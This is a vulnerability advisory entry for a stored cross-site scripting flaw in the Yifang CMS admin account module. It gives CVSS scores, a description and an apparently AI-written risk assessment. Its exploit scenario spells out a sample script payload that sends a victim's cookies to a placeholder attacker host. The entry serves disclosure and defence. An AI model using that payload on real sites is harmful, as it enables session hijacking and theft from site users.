EUVD-2026-23837Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
9DescriptionCVE.org
A security flaw has been discovered in Yifang CMS up to 2.0.5. The impacted element is the function store of the file plugins/yifang_backend_account/logic/admin/L_rbac_admin.php of the component Extended Management Module. The manipulation of the argument Account results in cross site scripting. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
AnalysisAI
Stored cross-site scripting (XSS) in Yifang CMS up to version 2.0.5 allows authenticated attackers to inject malicious scripts via the Account parameter in the Extended Management Module's RBAC admin component, affecting stored data integrity with user interaction required. The vulnerability has publicly available proof-of-concept code, though the CVSS score of 3.5 reflects its limited scope (no confidentiality or availability impact, information disclosure only). …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attack requires authenticated access with at least basic user or admin privileges to reach the Extended Management Module's admin panel (CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The real-world risk is moderate despite the low CVSS score of 3.5. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with legitimate admin credentials (or obtained via phishing or credential compromise) logs into Yifang CMS and navigates to the Extended Management Module's RBAC admin section. The attacker injects a malicious JavaScript payload such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> into the Account parameter field and submits the form via the store function. … |
| Remediation | Upgrade to a patched version greater than 2.0.5 if available from the vendor; however, no vendor-released patch has been identified at time of analysis, and the vendor has not responded to disclosure. … Detailed patch versions, workarounds, and compensating controls in full report. |
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